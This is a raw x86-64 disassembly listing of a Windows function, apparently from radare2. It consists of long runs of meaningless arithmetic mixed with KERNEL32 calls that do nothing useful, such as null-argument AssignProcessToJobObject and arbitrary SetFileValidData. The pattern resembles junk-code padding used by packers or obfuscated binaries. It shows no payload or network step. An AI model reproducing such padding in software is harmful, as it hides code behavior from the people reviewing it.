mov qword [rsp + 0x151a0], rax
movsx eax, word [rsp + 0x2dc4]
movsx ecx, word [rsp + 0x2b2c]
shl eax, cl
mov word [rsp + 0x2d44], ax
movzx ecx, word [rsp + 0x2ecc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cb0], ax
movzx eax, byte [rsp + 0x70c]
mov byte [rsp + 0x741], al
mov eax, dword [rsp + 0xaaf8]
mov ecx, dword [rsp + 0xab3c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xadf8], eax
mov rax, qword [rsp + 0x14838]
mov rcx, qword [rsp + 0x14f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa780], eax
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov word [rsp + 0x2fc8], ax
mov rax, qword [rsp + 0x14620]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14d08]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x61a], al
mov rax, qword [rsp + 0x14ef0]
mov rcx, qword [rsp + 0x14248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402828c8], eax
mov eax, dword [0x1402826dc]
mov dword [rsp + 0xaf08], eax
mov rax, qword [rsp + 0x14f70]
mov ecx, dword [rsp + 0xa2cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad9c], eax
lea rax, [rsp + 0xa970]
mov qword [rsp + 0x151a8], rax
movzx eax, word [rsp + 0x2e94]
mov rcx, qword [rsp + 0x148a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1590], ax
mov rcx, qword [rsp + 0x141a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x699]
add eax, ecx
mov byte [rsp + 0x51d], al
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ea8], eax
mov rax, qword [rsp + 0x14c98]
mov ecx, dword [rsp + 0xab88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa48], eax
mov eax, dword [rsp + 0xaecc]
mov dword [rsp + 0xaf0c], eax
mov rax, qword [rsp + 0x14738]
mov ecx, dword [0x14028ec60]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282798], eax
mov rax, qword [rsp + 0x143d8]
mov rcx, qword [rsp + 0x14b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7c54], eax
mov rax, qword [rsp + 0x14a98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b7c]
sub eax, ecx
mov rcx, qword [rsp + 0x14190]
mov word [rcx], ax
movzx eax, byte [0x140281db2]
mov byte [rsp + 0x742], al
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c38]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15190]
mov byte [rcx], al
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2efc]
or eax, ecx
mov word [rsp + 0x20c8], ax
mov rax, qword [rsp + 0x14930]
mov eax, dword [rax]
mov rcx, qword [0x14028ec18]
mov qword [rsp + 0x151b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x151b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9d54], eax
mov rax, qword [rsp + 0x14cb8]
mov rcx, qword [rsp + 0x149a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa650], eax
lea rax, [rsp + 0x20c8]
mov qword [rsp + 0x151b8], rax
movzx eax, byte [rsp + 0x394]
mov byte [0x14028eba3], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa614], eax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14a58]
mov qword [rsp + 0x151c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x151c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9ad8], eax
mov eax, dword [rsp + 0xa7ac]
mov dword [rsp + 0xaf10], eax
mov eax, dword [rsp + 0xa4c4]
mov ecx, dword [rsp + 0xaaa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x73b4], eax
lea rax, [rsp + 0xa690]
mov qword [rsp + 0x151c8], rax
movzx eax, word [rsp + 0x2e5c]
mov rcx, qword [rsp + 0x15148]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bbc], ax
movzx eax, byte [0x140281dbb]
movzx ecx, byte [rsp + 0x6a6]
and eax, ecx
mov byte [rsp + 0x71c], al
mov eax, dword [rsp + 0x97e4]
mov dword [rsp + 0xaf14], eax
mov eax, dword [rsp + 0x8724]
mov ecx, dword [rsp + 0xa674]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa53c], eax
movsx eax, byte [0x140281de3]
movsx ecx, byte [rsp + 0x40b]
add eax, ecx
mov byte [0x140281e86], al
movsx eax, word [rsp + 0x2bb4]
mov rcx, qword [rsp + 0x14648]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2104], ax
movzx eax, byte [0x140281e3e]
mov rcx, qword [rsp + 0x14c88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0x14600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b28]
sub eax, ecx
mov word [rsp + 0x2730], ax
mov rax, qword [rsp + 0x14ef0]
mov eax, dword [rax]
mov dword [rsp + 0xaf18], eax
mov eax, dword [rsp + 0xa6cc]
mov ecx, dword [rsp + 0x7fcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f70], eax
mov eax, dword [rsp + 0xa2cc]
mov dword [rsp + 0xaf1c], eax
mov eax, dword [rsp + 0xabcc]
mov ecx, dword [rsp + 0xab88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa2c], eax
mov rax, qword [0x14028ed40]
mov rcx, qword [rsp + 0x144c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14490]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x702]
mov rcx, qword [rsp + 0x14888]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x590], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14310]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402828b0], ax
mov rax, qword [rsp + 0x14a40]
mov rcx, qword [rsp + 0x14440]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x141c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14898]
mov eax, dword [rax]
mov dword [rsp + 0xaf20], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9950]
sar eax, cl
mov dword [rsp + 0x8b90], eax
mov rax, qword [rsp + 0x14378]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xae30], eax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov byte [rsp + 0x743], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f98]
add eax, ecx
mov word [rsp + 0x25d8], ax
movzx eax, word [rsp + 0x2f68]
mov word [rsp + 0x2fcc], ax
mov rax, qword [rsp + 0x146d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14bc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x289], al
mov eax, dword [rsp + 0xab90]
mov ecx, dword [rsp + 0xa978]
and ecx, eax
mov eax, ecx
mov dword [0x14028eddc], eax
mov rax, qword [rsp + 0x14b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa730]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8090], eax
movzx eax, word [rsp + 0x2bc0]
movzx ecx, word [rsp + 0x2cf0]
add eax, ecx
mov word [rsp + 0x1c38], ax
movzx eax, byte [rsp + 0x687]
movzx ecx, byte [rsp + 0x69c]
add eax, ecx
mov byte [rsp + 0x670], al
mov eax, dword [rsp + 0xaa04]
mov dword [rsp + 0xaf24], eax
mov eax, dword [rsp + 0xa5d8]
mov ecx, dword [rsp + 0xaa00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x739c], eax
mov eax, dword [rsp + 0xac24]
mov dword [rsp + 0xaf28], eax
mov rax, qword [rsp + 0x144e0]
mov rcx, qword [rsp + 0x14f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9950], eax
mov edx, 0x7a4391
mov rcx, qword [rsp + 0x149e8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa748], eax
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x147b0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14650]
mov word [rcx], ax
lea rcx, str.CDuDI
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2fd0], ax
movzx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0x14e28]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140281e87], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xabf8], eax
mov rax, qword [0x14028ee70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6690]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8338], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14d90]
mov qword [rsp + 0x151d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x151d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9b48], eax
mov rax, qword [rsp + 0x145d0]
mov eax, dword [rax]
mov dword [rsp + 0xaf2c], eax
mov rax, qword [rsp + 0x14178]
mov rcx, qword [rsp + 0x14288]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa6bc], eax
mov rax, qword [rsp + 0x14630]
mov ecx, dword [rsp + 0xa394]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa5ec], eax
mov rcx, qword [rsp + 0x150e8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xaa60], eax
movzx eax, word [rsp + 0x212c]
mov word [rsp + 0x2fd4], ax
movsx eax, byte [rsp + 0x64c]
movsx ecx, byte [rsp + 0x553]
add eax, ecx
mov byte [rsp + 0x69a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx eax, word [rsp + 0x2a1c]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13f8], ax
movzx eax, byte [rsp + 0x328]
mov byte [0x14028eba2], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14d20]
mov eax, dword [rax]
mov ecx, dword [0x1402828ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d54], eax
mov rax, qword [rsp + 0x14560]
mov rcx, qword [rsp + 0x141c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14a18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov word [rsp + 0x2fd8], ax
movzx eax, byte [0x14028eec1]
mov rcx, qword [rsp + 0x14890]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x70b], al
mov eax, dword [rsp + 0x6664]
mov dword [rsp + 0xaf30], eax
mov rax, qword [rsp + 0x14f80]
mov rcx, qword [rsp + 0x14a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14ca0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x145b8]
mov ecx, dword [rsp + 0xa02c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8640], eax
lea rdx, [rsp + 0x233f8]
mov rcx, qword [rsp + 0x14938]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xac58], eax
mov rax, qword [rsp + 0x14630]
mov ecx, dword [rsp + 0xad18]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14620]
movzx eax, byte [rax]
mov rcx, qword [0x14028ed60]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14028ed68], al
mov edx, 0x5c0710
mov rcx, qword [rsp + 0x14ea0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xaf34], eax
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cb4]
sar eax, cl
mov word [rsp + 0x2f64], ax
mov eax, dword [rsp + 0x66f4]
mov dword [rsp + 0xaf38], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa5e4]
shl eax, cl
mov dword [rsp + 0xa8d0], eax
mov rax, qword [rsp + 0x140b0]
movzx eax, byte [rax]
mov byte [rsp + 0x744], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa3d8], eax
mov rcx, qword [rsp + 0x14a28]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xaed8], eax
movsx eax, word [rsp + 0x2b24]
movsx ecx, word [rsp + 0x2f04]
cdq
idiv ecx
mov word [rsp + 0x2c20], ax
mov rax, qword [rsp + 0x14a20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa3]
xor eax, ecx
mov byte [rsp + 0xb9], al
mov rax, qword [rsp + 0x14e78]
movzx eax, word [rax]
mov word [rsp + 0x2fdc], ax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac78]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa880], eax
mov eax, dword [rsp + 0x8fdc]
mov ecx, dword [rsp + 0xa460]
add ecx, eax
mov eax, ecx
mov dword [0x1402828cc], eax
mov rax, qword [rsp + 0x14e08]
mov rcx, qword [rsp + 0x14d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9380], eax
mov rax, qword [0x14028ee70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa860], eax
mov rax, qword [rsp + 0x14f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa470]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ddc], eax
mov rcx, qword [rsp + 0x141a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xaf3c], eax
mov rax, qword [rsp + 0x145a8]
movzx eax, byte [rax]
mov byte [rsp + 0x745], al
movzx eax, word [rsp + 0x2188]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d38], ax
lea rax, [rsp + 0xaa9c]
mov qword [rsp + 0x151d8], rax
mov rax, qword [rsp + 0x151a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa628]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8920], eax
mov edx, 0x7fd669
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xad74], eax
mov eax, dword [rsp + 0xa534]
mov dword [rsp + 0xaf40], eax
mov rax, qword [rsp + 0x141f8]
mov ecx, dword [rsp + 0xa9e8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402827ec], eax
movzx eax, word [rsp + 0x2a1c]
movzx ecx, word [rsp + 0x2d54]
sub eax, ecx
mov word [rsp + 0x2dec], ax
mov rax, qword [0x14028ed08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x644]
sub eax, ecx
mov byte [rsp + 0x299], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xab34], eax
mov rax, qword [rsp + 0x140a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x143c8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x245c], ax
movsx eax, byte [rsp + 0x70c]
movsx ecx, byte [rsp + 0x6eb]
xor eax, ecx
mov rcx, qword [rsp + 0x14120]
mov byte [rcx], al
mov rax, qword [rsp + 0x14ca0]
mov eax, dword [rax]
mov dword [rsp + 0xaf44], eax
mov rax, qword [rsp + 0x14b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaef4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d28], eax
movzx eax, word [0x140282700]
mov rcx, qword [rsp + 0x14ab0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2c00], ax
mov rax, qword [rsp + 0x14c38]
movzx eax, byte [rax]
mov byte [rsp + 0x746], al
mov rax, qword [rsp + 0x14ec8]
mov ecx, dword [rsp + 0xada4]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402828d0], eax
mov eax, dword [rsp + 0xac98]
mov ecx, dword [rsp + 0xadb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa50c], eax
mov rax, qword [rsp + 0x15090]
mov ecx, dword [rsp + 0xa954]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9aa8], eax
mov rax, qword [rsp + 0x14a18]
mov rcx, qword [0x14028ebe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xae70], eax
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2eac]
sub eax, ecx
mov word [rsp + 0x2e7c], ax
mov rax, qword [rsp + 0x14470]
movzx eax, byte [rax]
mov byte [rsp + 0x747], al
mov rax, qword [rsp + 0x14ff8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x75e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7730], eax
lea rax, [rsp + 0x76bc]
mov qword [rsp + 0x151e0], rax
mov eax, dword [rsp + 0xab3c]
mov ecx, dword [rsp + 0xa6b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa34], eax
mov eax, dword [0x1402826c4]
mov ecx, dword [rsp + 0xa3c0]
and ecx, eax
mov eax, ecx
mov dword [0x140282710], eax
mov eax, dword [rsp + 0xae88]
mov ecx, dword [rsp + 0xa35c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa428], eax
movzx eax, word [rsp + 0x2c74]
mov word [rsp + 0x2fe0], ax
mov rax, qword [rsp + 0x14c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72c]
or eax, ecx
mov byte [rsp + 0x736], al
movzx eax, byte [rsp + 0x636]
mov rcx, qword [rsp + 0x14c38]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5ba], al
mov rax, qword [rsp + 0x14600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dd0]
xor eax, ecx
mov word [rsp + 0x2c88], ax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov dword [rsp + 0xaf48], eax
mov eax, dword [rsp + 0xa888]
movzx ecx, al
mov eax, dword [rsp + 0x8360]
shl eax, cl
mov dword [rsp + 0xab38], eax
movzx eax, byte [rsp + 0x733]
movzx ecx, byte [0x14028eea0]
sub eax, ecx
mov byte [rsp + 0x6f6], al
mov rax, qword [rsp + 0x143e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14dc8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14028eca0], ax
lea rax, [rsp + 0x866c]
mov qword [rsp + 0x151e8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xad31
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xaf4c], eax
mov rax, qword [rsp + 0x144e0]
mov rcx, qword [rsp + 0x14ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9380], eax
mov rax, qword [rsp + 0x14cb8]
mov eax, dword [rax]
mov dword [rsp + 0xaf50], eax
mov rax, qword [rsp + 0x15168]
mov ecx, dword [rsp + 0xae8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6944], eax
movzx eax, byte [rsp + 0x47b]
mov rcx, qword [rsp + 0x144b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2cd], al
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f70]
add eax, ecx
mov word [rsp + 0x160c], ax
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xade8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8a0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov eax, dword [rsp + 0xaf10]
mov dword [rsp + 0xaf54], eax
mov rax, qword [rsp + 0x15150]
movzx eax, word [rax]
mov word [0x14028eba0], ax
movsx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x14968]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x160], al
mov rax, qword [0x14028ecd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b6]
add eax, ecx
mov byte [rsp + 0x6ef], al
mov rax, qword [rsp + 0x14ab0]
movzx eax, word [rax]
mov word [rsp + 0x2fe4], ax
mov eax, dword [rsp + 0xadd8]
mov ecx, dword [rsp + 0xa874]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa424], eax
mov eax, dword [rsp + 0xad04]
mov dword [rsp + 0xaf58], eax
mov rax, qword [rsp + 0x140d0]
mov ecx, dword [rsp + 0xa674]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xaaa8], eax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa83c]
sar eax, cl
mov dword [rsp + 0x9b30], eax
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9384]
shl eax, cl
mov dword [rsp + 0xa394], eax
mov rax, qword [rsp + 0x14a78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f78]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2eb0], ax
movzx eax, byte [0x14028ed22]
movzx ecx, byte [rsp + 0x698]
sub eax, ecx
mov byte [0x140281e8a], al
mov rax, qword [rsp + 0x14f80]
mov eax, dword [rax]
mov dword [rsp + 0xaf5c], eax
lea rcx, [rsp + 0x21ae0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [rsp + 0xab2c]
mov ecx, dword [rsp + 0xab6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
mov rax, qword [0x14028ec50]
mov eax, dword [rax]
mov dword [rsp + 0xaf60], eax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x15030]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9330], eax
movzx eax, byte [rsp + 0x437]
movzx ecx, byte [rsp + 0x309]
add eax, ecx
mov byte [rsp + 0x6ea], al
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1960], ax
movsx eax, word [rsp + 0x2cd8]
movsx ecx, word [rsp + 0x2c20]
add eax, ecx
mov rcx, qword [rsp + 0x14eb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x40b]
mov byte [rsp + 0x748], al
mov rax, qword [rsp + 0x14d20]
mov ecx, dword [rsp + 0x7f2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402828d0], eax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa834]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145d8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2cc8]
mov rcx, qword [rsp + 0x14918]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1740], ax
mov rax, qword [rsp + 0x14eb8]
movzx eax, byte [rax]
mov byte [rsp + 0x749], al
mov rax, qword [rsp + 0x144c0]
mov ecx, dword [rsp + 0xab50]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x89b4], eax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x148c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7cfc], eax
mov rax, qword [rsp + 0x15198]
mov rcx, qword [rsp + 0x14c98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa4f8], eax
lea rcx, [rsp + 0x248f0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xaf64], eax
mov r9d, 1
lea r8, [rsp + 0x14d48]
mov rdx, qword [rsp + 0x13f80]
mov rcx, qword [rsp + 0x14320]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xabe0], eax
mov eax, dword [rsp + 0xa478]
mov rcx, qword [rsp + 0x146c0]
mov qword [rsp + 0x151f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x151f0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa60c], eax
lea rax, [rsp + 0x299]
mov qword [rsp + 0x151f8], rax
movzx eax, word [rsp + 0x2bb8]
movzx ecx, word [rsp + 0x1e28]
xor eax, ecx
mov word [0x1402828d4], ax
mov eax, dword [rsp + 0x9cb8]
mov rcx, qword [0x14028ee60]
mov qword [rsp + 0x15200], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15200]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x97b0], eax
lea rax, [rsp + 0xa02c]
mov qword [rsp + 0x15208], rax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa3a0], eax
mov eax, dword [rsp + 0x66e4]
mov dword [rsp + 0xaf68], eax
lea rdx, [rsp + 0x233f8]
mov rcx, qword [rsp + 0x14b88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaf6c], eax
mov eax, dword [rsp + 0x86d8]
mov ecx, dword [rsp + 0xa714]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xade8], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14410], rax
mov rax, qword [rsp + 0x14968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72b]
sub eax, ecx
mov rcx, qword [rsp + 0x14678]
mov byte [rcx], al
mov rax, qword [0x14028ebd8]
movzx eax, word [rax]
mov word [rsp + 0x2fe8], ax
mov rax, qword [rsp + 0x14a78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
and eax, ecx
mov word [rsp + 0x2d54], ax
mov rax, qword [rsp + 0x14b20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5e9]
add eax, ecx
mov rcx, qword [0x14028eca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x14ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7854]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6834], eax
mov rax, qword [rsp + 0x14218]
mov ecx, dword [rsp + 0xad98]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14ea8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x67d]
sub eax, ecx
mov byte [rsp + 0x705], al
movzx eax, word [rsp + 0x2de8]
mov word [rsp + 0x2fec], ax
mov rax, qword [rsp + 0x141f8]
mov rcx, qword [rsp + 0x14a88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14b78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9498]
mov dword [rsp + 0xaf70], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x14838]
mov rcx, qword [rsp + 0x14c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa818], eax
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa958]
sar eax, cl
mov dword [rsp + 0xadfc], eax
movzx eax, word [0x140282768]
mov rcx, qword [rsp + 0x14c90]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402828d8], ax
mov rax, qword [rsp + 0x15120]
movzx eax, byte [rax]
mov byte [rsp + 0x74a], al
mov rax, qword [rsp + 0x14a40]
mov ecx, dword [rsp + 0x8db0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa550], eax
